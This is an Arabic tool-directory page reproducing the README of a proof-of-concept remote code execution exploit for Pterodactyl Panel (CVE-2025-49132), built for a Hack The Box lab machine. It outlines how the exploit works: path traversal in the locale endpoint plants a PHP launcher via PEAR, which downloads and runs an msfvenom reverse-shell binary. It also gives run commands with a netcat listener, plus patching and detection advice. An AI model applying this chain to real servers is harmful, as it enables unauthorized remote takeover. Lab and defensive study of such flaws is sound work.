Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/symphony2colour/htb-pterodactyl-rce-cve-2025-49132
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
symphony2colour/htb-pterodactyl-rce-cve-2025-49132

HTB-Pterodactyl-RCE-CVE-2025-49132

يحتوي هذا المستودع على استغلال RCE لجهاز Pterodactyl htb

عرض المستودع
12منذ 6 أشهرلم تتم المراجعة بعد
مشاركة

ثغرة RCE في لوحة Pterodactyl عبر الإعدادات المحلية (CVE-2025-49132) — إثبات مفهوم تعليمي

scope cve python license

للاستخدام المصرح به وللتعلم الدفاعي فقط.
هذا المستودع مخصص للبيئات المعملية الخاضعة للتحكم (مثل إعدادات بأسلوب CTF/HTB) حيث تملك الهدف أو لديك* إذن كتابي صريح لاختباره.

السياق

يحتوي هذا المستودع على إثبات مفهوم تعليمي بلغة بايثون (pterodactyl_rce.py) لثغرة أمنية واقعية تؤثر على إصدارات Pterodactyl Panel الأقدم من v1.11.11. في ظل الإعدادات الضعيفة، قد يتمكن مهاجم غير مصادق من تحقيق تنفيذ الأوامر عن بُعد عبر نقطة النهاية /locales/locale.json بسبب المعالجة غير السليمة لمعاملَي locale و.

namespace

يستهدف هذا البديل من إثبات المفهوم البيئات التي يكون فيها PHP-PEAR مثبتًا، وقد تم بناؤه/التحقق منه على آلة Hack The Box المتقاعدة Pterodactyl: https://app.hackthebox.com/machines/Pterodactyl. قد يعمل أيضًا في بيئات معملية أخرى تتوفر فيها نفس الشروط.

مرجع الثغرة

  • الاستشارة الأمنية على GitHub: GHSA-24wv-6c99-f843 (CVE-2025-49132)
  • المتأثر: Pterodactyl Panel < 1.11.11
  • تم الإصلاح في: v1.11.11 (الالتزام بالتصحيح 24c82b0…)

الفكرة العامة (كيف يعمل إثبات المفهوم)

على مستوى عالٍ، يربط إثبات المفهوم الخطوات التالية:

  1. ينشئ حمولة ELF عكسية عبر TCP لـ Linux x64 باستخدام msfvenom.
  2. يقدّم ملف ELF باستخدام خادم HTTP (طلب واحد ثم يخرج).
  3. يستغل المعالجة الضعيفة لنقطة النهاية /locales/locale.json لكتابة "مشغّل" PHP داخل /tmp (عبر حيلة PEAR pearcmd config-create).
  4. يشغّل المشغّل عبر نقطة نهاية اللغات بحيث يقوم بـ:
    • تنزيل ملف ELF إلى /tmp,
    • جعله قابلاً للتنفيذ,
    • تنفيذه للاتصال مرة أخرى بالمستمع الخاص بك.

يستخدم السكربت عميل HTTP خامًا بدلاً من curl في خطوة "الرفع" لأن بعض الأدوات قد تعمل على تطبيع أو ترميز الأحرف بطريقة تكسر الطلب المُصمَّم.

ملاحظة: يبقى ملف README هذا عمدًا على مستوى دفاعي/تعليمي. استخدم الكود فقط في البيئات المسموح لك باختبارها.


المتطلبات (محليًا)

  • Python 3.10+ (تم الاختبار باستخدام المكتبة القياسية فقط)
  • توفّر msfvenom في $PATH (إطار عمل Metasploit)
  • nc (netcat) إذا كنت تريد أن يبدأ إثبات المفهوم مستمعًا تلقائيًا
  • وصول عبر الشبكة بين جهاز مختبرك ومثيل Pterodactyl في مختبرك

الإعداد

يتوقع السكربت حاليًا اسم مضيف HTB للوحة في الكود المصدري:

root@kitploit:~
host = "panel.pterodactyl.htb"

بالإضافة إلى ذلك، تم تعيين المسار المحدد يدويًا إلى PHP-PEAR على النحو التالي: ../../../../../usr/share/php/PEAR. إذا كنت تختبر هذا خارج بيئة Pterodactyl، فستحتاج إلى تعديل هذا المسار وفقًا لإعداداتك المحلية.


الاستخدام (مختبر خاضع للتحكم فقط)

1) تشغيل أساسي (المستمع التلقائي مفعّل)

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT>
  • <LHOST>: عنوان IP لاستقبال الاتصال الذي يمكن لخادم المختبر الوصول إليه
  • <LPORT>: المنفذ لاستقبال الصدفة العكسية

2) التشغيل بدون مستمع تلقائي

إذا كنت تفضل تشغيل المستمع الخاص بك:

root@kitploit:~
python3 pterodactyl_rce.py <LHOST> <LPORT> --no-listen

ثم، في طرفية أخرى:

root@kitploit:~
nc -lvnp <LPORT>

مثال (قيمة تجريبية)

root@kitploit:~
python3 pterodactyl_rce.py 10.10.14.225 5555

المخرجات / ما يمكن توقعه

التدفق النموذجي:

  • ينشئ حمولة ELF (اسم ملف عشوائي مثل shell_ab12cd34)
  • يبدأ خادم HTTP لطلب واحد على :8080
  • ينشئ مشغّل PHP داخل /tmp/<random>.php
  • يشغّل المشغّل
  • يزيل ملف ELF المحلي بعد التشغيل
  • يعرض نصيحة لترقية الصدفة (PTY)

لقطة شاشة للاستغلال الناجح:

صدفة عكسية


المشكلات المعروفة / ملاحظات المختبر

  • عدم استقرار المختبر: قد يكون الجهاز/الخدمة المستهدفة غير مستقرين (مهلات زمنية، أخطاء 5xx متقطعة، تنفيذ متأخر). إذا فشل التشغيل، أعد المحاولة بعد توقف قصير.
  • إعادة استخدام حمولة قديمة: قد تقوم البيئة أحيانًا بتشغيل ملف قديم تم رفعه/تجهيزه. يقوم السكربت بتنظيف ملف محلي فقط على جهاز المهاجم ولكنه لا يلمس الملفات الموجودة في مجلد /tmp/ على الجهاز. الحلول:
    • أعد التشغيل باسم حمولة عشوائية جديدة (السلوك الافتراضي في هذا السكربت).
    • غيّر المنفذ الأولي لخادم http.server من 8080 إلى منفذ آخر.
    • غيّر منفذ المستمع (مثل 4444 → 5555) وأعد إنشاء الحمولة.
    • تأكد من أن خادم HTTP يقدّم الملف الحالي (أوقف أي خادم/مستمع سابق).
    • إذا كان لديك وصول، قم بإزالة ملفات /tmp/<name>.php القديمة يدويًا على الهدف؛ بخلاف ذلك، انتظر فترة ثم أعد المحاولة.

إرشادات دفاعية (ماذا تصلح / كيف تكتشف)

التصحيح / التخفيف

  • قم بترقية Pterodactyl Panel إلى الإصدار v1.11.11 أو أحدث.
  • لا يوجد حل بديل داخل التطبيق سوى التصحيح؛ يمكنك حظر نقطة النهاية /locales/locale.json على مستوى خادم الويب، لكن ذلك قد يعطل ميزات الترجمة.

أفكار للكشف

ابحث عن طلبات مشبوهة مثل:

  • طلبات إلى /locales/locale.json تحتوي على تسلسلات اجتياز غير معتادة في locale=
  • قيم namespace= غريبة (أسماء غير متوقعة، سلاسل طويلة، أحرف غريبة)
  • ظهور مفاجئ لملفات غير متوقعة في /tmp/ على مضيف اللوحة

اربط سجلات الويب مع:

  • عمليات جديدة تطلقها مستخدم www / PHP-FPM
  • اتصالات صادرة إلى وجهات/منافذ غير قياسية
  • استخدام غير متوقع لأمر curl/wget من مضيف اللوحة

ملاحظات حول الاستخدام المسؤول

  • لا تفحص أو تختبر المثيلات العامة.
  • إذا كنت مشغّلًا لمثيل ضعيف، تعامل مع هذا الأمر على أنه حرج وقم بالتصحيح فورًا.

الإقرارات / الشكر

  • إثبات المفهوم الأصلي: Pterodactyl Panel (< 1.11.11) — تنفيذ الأوامر عن بُعد (RCE) (EDB-ID: 52341, CVE-2025-49132) بواسطة Zen-kun04
    https://www.exploit-db.com/exploits/52341
  • مَن أبلغ / ائتمان الاكتشاف: ينسب الاستشارة الأمنية على GitHub الفضل إلى @azimoff337 للإبلاغ عن GHSA-24wv-6c99-f843 / CVE-2025-49132.
  • قاعدة بيانات الاستشارات الأمنية على GitHub / عملية CVE: لتتبع ونشر تفاصيل الثغرة.
  • Hack The Box (HTB): تم بناء/التحقق من إثبات المفهوم هذا في بيئة مختبرية بأسلوب HTB خاضعة للتحكم لأغراض التعلم والبحث الدفاعي.
    لا توجد حرق للأحداث (spoilers) لمحتوى HTB النشط.
تنزيل الأداة